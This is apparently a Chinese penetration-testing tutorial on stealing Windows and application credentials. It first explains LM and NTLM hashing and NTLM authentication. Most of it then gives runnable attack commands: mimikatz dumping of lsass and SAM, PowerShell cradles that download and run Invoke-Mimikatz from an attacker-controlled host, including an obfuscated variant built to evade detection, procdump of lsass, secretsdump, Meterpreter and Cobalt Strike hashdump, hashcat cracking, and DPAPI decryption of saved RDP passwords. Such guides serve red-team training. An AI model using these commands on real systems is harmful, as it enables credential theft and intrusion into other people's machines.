Windows密码凭证获取
Windows密码凭证获取
hihopkcWindows HASH
什么是HASH
- hash,一般翻译做散列,或音译为哈希,是使用一种加密函数进行计算后的结果;
- 这个加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串。
- 这种转换是一种压缩映射,也就是,散列值的空间通常远小于输入的空间,不同的输入可能会散列成相同的输出,所以不可能从散列值来确定唯一的输入值。
- 简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。
Windows HASH简介
Windows 中加密过的密码口令,我们称之为 Windows Hash
Windows 系统使用两种方法对用户的密码进行哈希处理,分别是 LAN Manager(LM)哈希和 NTLAN Manager(NTLM) 哈希。
现在已经有了更新的 NTLMv2 以及 Kerberos 验证体系。
HASH格式
LM哈希密码最大长度为14,密码长度超过14位使用NTLM哈希
2000 | xp | 2003 | Vista | win7 | 2008 | 2012 | |
---|---|---|---|---|---|---|---|
LM | √ | √ | √ | ||||
NTLM | √ | √ | √ | √ | √ | √ | √ |
前面三个系统,当密码超过14位的时候会采用NTLM加密
1 | 用户名称:RID:LM-HASH值:NTLM-HASH值 |
Windows 的系统密码 hash 默认情况下一般由两部分组成:第一部分是 LM-HASH,第二部分是NTLM-HASH。
当 LM-HASH
是 AAD3B435B51404EEAAD3B435B51404EE
这表示 空密码
或者是未使用 LM_HASH
。
HASH存储位置
Windows Hash 一般存储在两个地方:
- SAM 文件,存储在本机,对应本地用户,文件位置:C:\windows\system32\config\SAM
- NTDS.DIT 文件,存储在域控上,对应域用户,文件位置:C:\windows\NTDS\NTDS.dit
LM-HASH
LM-HASH简介
- LAN Manager(LM)哈希是 Windows 系统所用的第一种密码哈希算法,是一种较古老的Hash,在LAN Manager协议中使用,非常容易通过暴力破解获取明文凭据。
- 它只有一个版本且一直用到了NT LAN Manager(NTLM)哈希的出现,
- 在 Windows XP / Windows Server 2003 之前, 它是Windows上占主导地位的密码存储算法。
- 从 Windows Vista / Windows Server 2008 开始,默认情况下已禁用该算法。
LM 算法是在 DES 基础上实现的,不区分字母大小写。
LM-HASH生成原理
假设用户密码为:password
1 | 1. 将用户密码所有字符转换为大写 |
使用 python 计算 LM HASH 值:
1 | python3 -c "from passlib.hash import lmhash;print(lmhash.hash('password'))" |
1 | #python3 |
LM-HASH缺点
- 密码长度最大只能为14个字符
- 密码不区分大小写
- 如果密码强度是小于7位,那么第二个分组加密后的结果肯定是 aad3b435b51404ee,如果我们看到
lm hash的结尾是aad3b435b51404ee,就可以很轻易的发现密码强度少于7位 - 一个14个字符的密码分成7+7个字符,并且分别为这两个半部分计算哈希值。这种计算哈希值的方式使破解难度成倍增加,因为攻击者需要将7个字符(而不是14个字符)强制暴力破解。这使得14个字符的密码的有效强度等于,或者是7个字符的密码的两倍,该密码的复杂度明显低于14个字符的密码的理论强度
- DES密码强度不高
NTLM-HASH
NTLM-HASH简介
NT LAN Manager(NTLM)哈希是Windows系统认可的另一种算法,用于替代古老的LM-Hash,一般指Windows系统下Security Account Manager(SAM)中保存的用户密码hash,在Windows Vista/Windows 7/Windows Server 2008以及后面的系统中,NTLM哈希算法默认启用。
NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中。
NTLM-HASH生成原理
1 | #假设用户密码为: 123456 |
- HashCalc计算MD4
- Python2计算NTLM-HASH
1 | python2 -c "import hashlib,binascii;print binascii.hexlify(hashlib.new('md4','123456'.encode('utf-16le')).digest())" |
- Python3计算NTLM-HASH
1 | python3 -c "import hashlib,binascii;print(binascii.hexlify(hashlib.new('md4','123456'.encode('utf-16le')).digest()).decode())" |
Windows认证基础
Windows的认证包括三个部分:
- 本地认证:用户直接操作计算机登录账户
- 网络认证:远程连接到工作组中的某个设备
- 域认证:登陆到域环境中的某个设备
NTLM hash认证
kerberos认证
Windows本地认证
winlogon
是用来管理用户登录和登出lsass
是用于本地安全和登陆策略
用户输入密码 (winlogon.exe)
系统收到密码后将用户输入的密码计算成 NTLM Hash
与 SAM 数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对
匹配则登陆成功,不匹配则登陆失败
本地认证中用来处理用户输入密码的进程为 lsass.exe ,密码会在这个进程中明文保存,供该进程将密码计算成 NTLM Hash 与 SAM 进行比对,我们使用 mimikatz 来获取的明文密码,便是在这个进程中读取到的
Windows网络认证
网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制
NTLM 协议的认证过程分为三步,也叫挑战相应机制:
1.协商
双方确定使用的协议版本,NTLM 存在V1和V2两个版本,即 Net-NTLM v1 hash、Net-NTLM v2hash,具体区别就是加密方式不同
在NTLM认证中,NTLM响应分为NTLM v1,NTLMv2,NTLM session v2三种协议,不同协议使用不同格式的Challenge 和加密算法
2.质询
挑战(Challenge)/ 响应(Response)认证机制的核心
客户端向服务器端发送用户信息(用户名)请求
服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个16位的随机数,被称之为”Challenge”, 然后使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符), 生成Challenge1保存在内存中。同时,生成Challenge1后,将Challenge(16位随机字符)明文发送给客户端。
客户端接受到Challenge后,使用自己提供的账户的密码转换成对应的NTLM Hash,然后使用这个
NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端。
3.验证
在质询完成后,验证结果,是认证的最后一步。
服务端收到客户端发送的Response后,与之前保存在内存中的Channelge1比较,如果相等认证通过其中,经过NTLM Hash加密Challenge的结果在网络协议中称之为Net NTLM Hash(不能直接用来进行哈希传递攻击,但可以通过暴力破解来获取明文密码)
其中的关键点在于:第二步中客户端发送的是 NTLM 哈希值与随机字符串加密的结果,而这个 NTLM哈希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的 NTLM 哈希即使不知道正确的密码也可通过认证
Net-NTLM Hash破解
NTLMv2 的格式为:
1 | username::domain:challenge:HMAC-MD5:blob |
1 | hashcat -m 5600 net-ntlm /tmp/password.list -o found.txt --force |
系统用户凭证获取
Mimikatz 猕猴桃
Mimikatz是一个开源的项目,用于Windows下读取已经登录过的用户Hash和明文密码,要顺利的读取密码必须具有Administrator或者System权限
- 本地交互式
1 | mimikztz.exe |
1 | mimikztz.exe |
- 本地非交互式
1 | mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt |
1 | mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "lsadump::secrets" "exit" |
- Powershell本地加载mimikatz脚本
https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1
https://gitee.com/yijingsec/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1
https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/InvokeMimikatz.ps1
1 | powershell -ep bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords"' |
- Powershell远程加载mimikatz脚本
1 | powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.81.154:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz –DumpCreds |
- Powershell混淆
1 | powershell -c "('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.81'+'.154:8000/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX" |
- 不同版本执行方式
1 | 2.X |
Get-Hashes
Powershell 加载 Get-PassHashes脚本:
https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1
1 | powershell IEX(new-object net.webclient).downloadstring('http://192.168.81.154:8000/GetPassHashes.ps1');Get-PassHashes |
Procdump+Mimikatz
ProcDump是一个命令行程序,可以很方便地将系统正在运行的进程转存储生成为dump文件,又因为是微软自家出品,所以可以过很多杀软。
Procdump下载: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
- Procdump导出lsass 进程
1 | For 32bits: |
- 使用 mimikatz 还原密码:
1 | mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit" |
注册表导出Hash
1 | reg save HKLM\SYSTEM system.hiv |
- Mimikatz
1 | mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" "exit" |
- Impacket
https://github.com/SecureAuthCorp/impacket/tree/master/examples
https://github.com/maaaaz/impacket-examples-windows
1 | python3 secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL |
LaZagne
1 | git clone https://github.com/AlessandroZ/LaZagne.git |
https://github.com/AlessandroZ/LaZagne/releases
lazagne.exe all
Meterpreter获取Hash
获得Meterpreter会话
Hashdump
1 | meterpreter > run post/windows/gather/hashdump |
1 | run post/windows/gather/smart_hashdump |
- Mimikatz
Hashdump 使用的是 mimikatz 的部分功能
1 | load kiwi # 加载mimikatz模块 |
1 | creds_all # 列举系统中的明文密码 |
1 | lsa_dump_sam # 读取sam文件 |
1 | kiwi_cmd -h # 查看基础命令 |
1 | kiwi_cmd lsadump::sam # 从Windows的sam文件中读取密码hash值 |
1 | kiwi_cmd sekurlsa::logonpasswords # 获取明文密码 |
CobaltStrike获取Hash
1 | beacon> hashdump |
1 | beacon> logonpasswords |
1 | beacon> mimikatz lsadump::sam |
Cobaltstrike中通过命令获取到的明文密码及密码Hash都记录在密码凭证视图窗口
Windows Hash破解
在线破解
Hashcat破解
- Hashcat破解LM Hash
1 | hashcat -a 0 -m 3000 --force 'E52CAC67419A9A224A3B108F3FA6CB6D' password.txt |
- Hashcat 破解 NTLM Hash
1 | hashcat -a 0 -m 1000 --force '1F2916B7561885601287D5F693567A34' password.txt |
其他密码凭证获取
RDP连接密码解密
- 查看本地机器本地连接过的目标机器
1 | reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s |
- 查看本地用户此目录下是否存有RDP密码文件
1 | dir /a %userprofile%\AppData\Local\Microsoft\Credentials\* |
- 查看保存在本地的远程主机信息
1 | cmdkey /list |
- 选择一个密码文件对其进行解密
此处需要记录下 guidMasterKey 的值,待会要通过 guidMasterKey 找对应的 Masterkey。
1 | privilege::debug |
guidMasterKey : {34dc48bb-0af9-4925-bf07-f54ba502a40a}
- 根据 guidMasterKey 找到对应的 Masterkey
1 | sekurlsa::dpapi |
- 通过Masterkey解密pbData数据,拿到明文RDP连接密码
1 | dpapi::cred /in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E3ADA266 /masterkey:f391aa638da6b6d846685f84660ee638bd6d3122214de34285b4dd3bd827a5c3925c5bd7a448c175457c19b2556c9f6f5248ef9256060a5b74c1264d3a5a99f8 |
List-RDP-Connections-History
Powershell脚本获取RDP连接记录:
Cobaltstrike
1 | beacon> shell reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Ser |
1 | beacon> shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\* |
1 | beacon> shell cmdkey /list |
1 | mimikatz "privilege::debug" "dpapi::cred /in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\8CAC243098BA9DDD4EAB58433B85D7F0" "exit" |
MySQL数据库密码破解
一旦获取了网站一定的权限后,如果能够获取MySQL中保存用户数据,通过解密后,即可通过正常途径来访问数据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。
MySQL数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文件读取权限后即可直接从数据库连接文件中读取
一般都包含有数据库类型,物理位置,用户名和密码等信息
MySQL数据库文件类型
MYSQL数据库文件共有frm、MYD和MYI三种文件
- “.frm” 是描述表结构的文件
- “.MYD” 是表的数据文件
- “.MYI” 是表数据文件中任何索引的数据树
一般是单独存在一个文件夹中
与用户有关的一共有三个文件即user.frm、user.MYD和user.MYI,MySQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。
MySQL加密方式
MYSQL数据库的认证密码有两种方式
MYSQL 4.1版本之前是MYSQL323加密,MYSQL 4.1和之后的版本都是MYSQLSHA1加密
MYSQL数据库中自带 Old_Password(str) 和 Password(str)函数,它们均可以在MYSQL数据库里进行查询,前者是MYSQL323加密,后者是MYSQLSHA1方式加密。
1 | mysql> select Password('root'); |
MYSQL323加密中生成的是16位字符串,而在MYSQLSHA1中生成的是41位字符串,其*是不加入实
际的密码运算中,MYSQLSHA1加密的密码的实际位数是40位
获取MySQL数据库密码hash值
用winhex编辑器打开user.MYD文件,使用二进制模式查看,即可得到密码Hash值:
1 | 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
Hash破解
- 在线网站破解
- hashcat破解
1 | hashcat.exe -m 300 -a 3 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
- john the ripper 破解
1 | john --list=formats | grep mysql |
应用程序密码解密
对密码已保存在 Windwos 系统上的部分程序进行解析,包括:
Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)。
https://github.com/uknowsec/SharpDecryptPwd
https://github.com/RowTeam/SharpDecryptPwd
HackBrowserData 是一个浏览器数据(密码|历史记录|Cookie|书签|信用卡|下载记录|localStorage|浏览器插件)的导出工具,支持全平台主流浏览器。